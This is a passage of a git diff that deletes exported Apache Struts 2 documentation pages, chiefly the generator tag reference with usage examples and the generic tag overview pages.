-</plain-text-body><h2 id="FreeMarker-TipsandTricks">Tips and Tricks</h2><p>There are some advanced features that may be useful when building Struts applications with FreeMarker.</p><h3 id="FreeMarker-TypeConversionandLocales">Type Conversion and Locales</h3><p>FreeMarker has built in support for formatting dates and numbers. The formatting rules are based on the locale associated with the action request, which is by default set in <a shape="rect" href="strutsproperties.html">struts.prope [...]
-</plain-text-body><h3 id="FreeMarker-ObjectWrapperSettings">ObjectWrapper Settings</h3><p>Once you get familiar with FreeMarker, you will find certain <em>subtleties</em>with it that may become frustrating. The most common thing you'll likely run in to is the BeansWrapper provided by FreeMarker. If you don't know what this is, don't worry. However, if you do, know this:<parameter ac:name="atlassian-macro-output-type">INLINE</parameter><plain-text-body>{snippet:id=javadoc|javadoc=true|url [...]
-    &lt;param-name&gt;freemarker.incompatible_improvements&lt;/param-name&gt;
-    &lt;param-value&gt;2.3.22&lt;/param-value&gt;
-&lt;/init-param&gt;</plain-text-body><p><br clear="none">This can impact your freemarker powered pages and Struts tags as well, so please careful test this change.</p><h2 id="FreeMarker-Next:">Next: <a shape="rect" href="freemarker-tags.html">FreeMarker Tags</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/generator.html b/content/docs/generator.html
deleted file mode 100644
index ed727f8..0000000
--- a/content/docs/generator.html
+++ /dev/null
@@ -1,237 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>generator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generator.html">generator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">generator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13883">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13883">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13883">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13883">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13883">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13883">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="generator-Description">Description</h2>
-
-<p><b>NOTE: JSP-TAG</b></p>
-
-<p></p><p>Generate an iterator based on the val attribute supplied.</p>
-
-<p><b>NOTE:</b> The generated iterator will <b>ALWAYS</b> be pushed into the top of the stack, and poped
-at the end of the tag.</p>
-
-<h2 id="generator-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="generator-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-Example One:
-&lt;pre&gt;
-Generate a simple iterator
-&lt;s:generator val=&quot;%{&#39;aaa,bbb,ccc,ddd,eee&#39;}&quot;&gt;
- &lt;s:iterator&gt;
-     &lt;s:property /&gt;&lt;br/&gt;
- &lt;/s:iterator&gt;
-&lt;/s:generator&gt;
-&lt;/pre&gt;
-This generates an iterator and print it out using the iterator tag.
-
-Example Two:
-&lt;pre&gt;
-Generate an iterator with count attribute
-&lt;s:generator val=&quot;%{&#39;aaa,bbb,ccc,ddd,eee&#39;}&quot; count=&quot;3&quot;&gt;
- &lt;s:iterator&gt;
-     &lt;s:property /&gt;&lt;br/&gt;
- &lt;/s:iterator&gt;
-&lt;/s:generator&gt;
-&lt;/pre&gt;
-This generates an iterator, but only 3 entries will be available in the iterator
-generated, namely aaa, bbb and ccc respectively because count attribute is set to 3
-
-Example Three:
-&lt;pre&gt;
-Generate an iterator with var attribute
-&lt;s:generator val=&quot;%{&#39;aaa,bbb,ccc,ddd,eee&#39;}&quot; count=&quot;4&quot; separator=&quot;,&quot; var=&quot;myAtt&quot; /&gt;
-&lt;%
- Iterator i = (Iterator) pageContext.getAttribute(&quot;myAtt&quot;);
- while(i.hasNext()) {
-     String s = (String) i.next(); %&gt;
-     &lt;%=s%&gt; &lt;br/&gt;
-&lt;%    }
-%&gt;
-&lt;/pre&gt;
-This generates an iterator and put it in the PageContext under the key as specified
-by the var attribute.
-
-
-Example Four:
-&lt;pre&gt;
-Generate an iterator with comparator attribute
-&lt;s:generator val=&quot;%{&#39;aaa,bbb,ccc,ddd,eee&#39;}&quot; converter=&quot;%{myConverter}&quot;&gt;
- &lt;s:iterator&gt;
-     &lt;s:property /&gt;&lt;br/&gt;
- &lt;/s:iterator&gt;
-&lt;/s:generator&gt;
-
-
-public class GeneratorTagAction extends ActionSupport {
-
-  ....
-
-  public Converter getMyConverter() {
-     return new Converter() {
-         public Object convert(String value) throws Exception {
-             return &quot;converter-&quot;+value;
-         }
-     };
-  }
-
-  ...
-
-}
-&lt;/pre&gt;
-This will generate an iterator with each entries decided by the converter supplied. With
-this converter, it simply add &quot;converter-&quot; to each entries.
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/generic-tag-reference.html b/content/docs/generic-tag-reference.html
deleted file mode 100644
index e96a338..0000000
--- a/content/docs/generic-tag-reference.html
+++ /dev/null
@@ -1,223 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Generic Tag Reference</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Generic Tag Reference</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19735">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19735">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19735">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19735">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19735">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19735">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-</p><p>Struts Generic Tags control the execution flow as pages render.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Control Tags </p></th><td colspan="1" rowspan="1" class="confluenceTd"><ul><li><a shape="rect" href="if.html">if</a></li><li><a shape="rect" href="elseif.html">elseif</a></li><li><a shape="rect" href="else.html">else</a></li><li><a shape="rect" href="append.html">append</a></li><li><a shape="rect" href="generator.html">generator</a></li><li><a shape="rect" href="iterator. [...]
-</td><th colspan="1" rowspan="1" class="confluenceTh"><p> Data Tags </p></th><td colspan="1" rowspan="1" class="confluenceTd"><ul><li><a shape="rect" href="a.html">a</a></li><li><a shape="rect" href="action.html">action</a></li><li><a shape="rect" href="bean.html">bean</a></li><li><a shape="rect" href="date.html">date</a></li><li><a shape="rect" href="debug.html">debug</a></li><li><a shape="rect" href="i18n.html">i18n</a></li><li><a shape="rect" href="include.html">include</a></li><li><a [...]
-</td></tr></tbody></table></div>
-
-<h2 id="GenericTagReference-Next:">Next: <a shape="rect" href="ui-tags.html">UI Tags</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/generic-tags.html b/content/docs/generic-tags.html
deleted file mode 100644
index 27a95c6..0000000
--- a/content/docs/generic-tags.html
+++ /dev/null
@@ -1,144 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Generic Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="generic-tags.html">Generic Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Generic Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19745">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19745">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19745">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19745">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19745">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19745">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="GenericTags-GenericTags">Generic Tags</h2>
-
-<p>Generic tags are used for controlling the execution flow when the pages render. These tags also allow for data extraction from places other than your action or the value stack, such as <a shape="rect" href="localization.html">Localization</a>, JavaBeans, and including additional URLs or action executions.</p>
-<ul><li>Control Tags provide control flow, such as <code>if</code>, <code>else</code>, and <code>iterator</code>.</li><li>Data Tags allow for data manipulation or creation, such as <code>bean</code>, <code>push</code>, and <code>i18n</code>.</li></ul>
-
-
-<h2 id="GenericTags-Next">Next <a shape="rect" href="generic-tag-reference.html">Generic Tag Reference</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/getting-started.html b/content/docs/getting-started.html
deleted file mode 100644
index 172a83d..0000000
--- a/content/docs/getting-started.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Getting Started</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Getting Started</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811855">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811855">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811855">
